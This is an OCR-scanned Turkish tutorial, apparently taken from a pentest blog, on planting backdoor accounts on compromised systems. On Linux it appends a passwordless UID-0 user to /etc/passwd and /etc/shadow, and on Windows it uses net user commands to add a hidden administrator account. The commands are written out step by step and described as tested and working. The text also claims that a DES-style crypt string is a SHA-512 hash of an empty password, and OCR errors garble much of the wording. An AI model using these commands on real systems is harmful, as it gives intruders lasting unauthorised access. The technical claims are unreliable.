Komut Satir1 Ele Gegirilmis Sistem Uzerinde
Root/Admin Yetkilerinde Kullanic1 Olusturmak

[ Denenmistir ve basarili olunmustur ]

Bu yazida komut satir1 ele gecirilen sistemler iizerinde linux i¢in root yetkisine sahip, windows igin
ise administrator yetkisine sahip kullanicilarinin nasil olugturulacag (yani sizilan sistemde
backdoor nasil olusturulacag) anlatilacaktir.

a. Linux/Unix Sistemi Uzerinde Root Yetkisine Sahip Kullanici Olusturma
Oncelikle linux sistemlerde kritik 6neme sahip iki dosyadan bahsedelim:

/etc/passwd
/etc/shadow

/etc/passwd dosyasinda linux/unix sistemlerinde bulunan kullanicilara ait temel bilgiler txt
formatinda tutulur. Bu dosya icerisinde sistem iizerindeki username'ler, user ID'ler, user group
ID'ler, kullanici home dizinleri, komut calistiracak shell adi gibi veriler her kullanic1 icin satir satir
tutulur. UserID degeri olarak 0 rakam root kullanicilarina ait olandir. Ornek bir /etc/passwd
dosyasindaki bir satir asagidaki gibidir:

hefese:x:1000:1000:hefese,,,:/home/hefese:/bin/bash

Yukaridaki satirda yer alan her 6genin anlami sudur:

hefese : Kullanic1 adi

X : Parola bilgisidir. Fakat bu bilgi gosterilmez. /etc/shadow altinda tutulur.
1000 : UserID degeridir.

1000 : User Group degeridir.

/home/hefese : Bu kullaniciya ait home dizinidir.

/bin/bash : Bu kullanicinin kullandigr shell interpreter'idir.

/etc/shadow dosyasina gelecek olursak bu dosya her kullanicinin parolasini encrypted haliyle txt
formatinda tutar. Bu dosyaya ait 6rnek bir satir asagidaki gibidir:

hefese:$6$c5X47bMt$zRBy74tpLL.G.KA38LoaBEXmup7D.2FYrvSX.n7Jt45AFa3ya
dtL8Y 7ufc/40NnFv4uUnSnIxIxXImXrOWRyqC1:16677:0:99999:7:::

Yukaridaki satirda yer alan $6$ kismi kullanilan sifreleme algoritmasinin tiirtinii belirtir. $6$ ile
hefese kullanicisinin parolasinin sha512 algoritmasiyla sifrelendigi ifade edilmektedir.Yeni linux
sistemlerde en giivenli sifreleme algoritmasi olan sha512 varsayilan olarak kullanilmaktadir. $6$
kismindan sonraki kisimdan ilk iki nokta iist iisteye kadarki boliim ise hefese kullanicisinin
parolasinin sha512 ile sifrelenmis halidir.

Simdi asil konumuza gecelim. Linux/Unix bir sistemin komut satir1 ele gecirildiginde bu sistem
tizerinde root yetkilerine sahip ve parolasiz bir kullanici olusturmak icin /etc/passwd ve /etc/shadow
dosyalar1 iizerine yeni kayit girmemiz yeterlidir. Bu islem i¢in 6ncelikle /etc/passwd dosyasina
olusturacagimiz kullaniciya ait bilgileri bir satir olarak girelim:

echo "backdoor::0:0::/:/bin/bash" >> /etc/passwd



>> operatori ile /etc/passwd dosyasinin en altina echo'nun output'unu append etmis oluyoruz.
Burada backdoor kullanic1 adimizdir. backdoor kullanicisina ait user ID ve group ID igin 0 rakami
kullanilarak ekledigimiz kullanicinin root haklara sahip olmasini saglamis oluyoruz. Bu islem
sonrasinda /etc/shadow dosyasina sdyle bir satir yazmamiz gerekir:

echo "backdoor:w3nT2HOb6AjM2:::::::" >> /etc/shadow

Buradaki w3nT2HOb6AjM2 ifadesi sha512 algoritmasindaki NULL parolaya karsilik gelen hash
degeridir. Boylece backdoor kullanicimiz1 parolasiz yapmis oluyoruz.

Bu iki adim ile komut satirin1 elde ettigimiz sisteme tekrar sizabilmek icin bir arkakap1 birakmig
olduk.

NOT: Bu iglem Kali Linux iizerinde denenmistir. Iki dosyaya da kayit eklendikten sonra log out
yapildiginda eklenen kullanic1 gériinmese de normal kullaniciyla Kali'ye girip

> su - backdoor

diyerek komut satirindan backdoor kullanicisina gecis yapilabilmistir. Bu gecis esnasinda
sifre sorulmamustir, ¢iinkii bu kullaniciy1 hatirlarsan sifresiz (NULL) olarak olusturmustuk.

b. Windows Sistemi Uzerinde Administrator Yetkilerine Sahip Bir Kullamic Olusturma
Komut satir1 ele gecirilmis Windows bir sistemde arkakap1 agmak amaciyla kullanici olugturmak
icin asagidaki komut kullanilir:

> net user backdoor 123456 /add

Bu komut ile kullanic1 ad1 backdoor olan ve sifresi 123456 olan bir kullanici tanimlamis oluruz.
Simdi bu kullaniciy1 sistemin restart'lanmasini beklemeden asagidaki kod ile aktiflestirelim:

> net user backdoor /active:yes

Simdi de olusturdugumuz kullaniciy1 Administrator yetkilerine sahip kilmak icin Administrators
grubuna ekleyelim.

> net localgroup administrators backdoor /add
Boylece hedef windows sisteminde admin yetkilerine sahip bir account olusturmus oluruz.
NOT: Bu islemler Windows XP (Dandik)'te uygulanmistir ve ardindan komut ekranina
linux'taki sudo'nun yaptig1 isi yapan su kod girilmistir.
> runas /noprofile /user:backdoor cmd

Bu komut sonrasi backdoor kullanicisinin sifresi (123456) girilerek backdoor kullanicisina
ait komut ekram1 (CMD) ekrana gelmistir.



md (PENTEST-WINXP\backdoor olarak gahgiyor)
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Kaynak: http://www.networkpentest.net/2011/08/ele-gecirilmis-sistem-uzerinde.html
http://superuser.com/questions/42537/is-there-any-sudo-command-for-windows



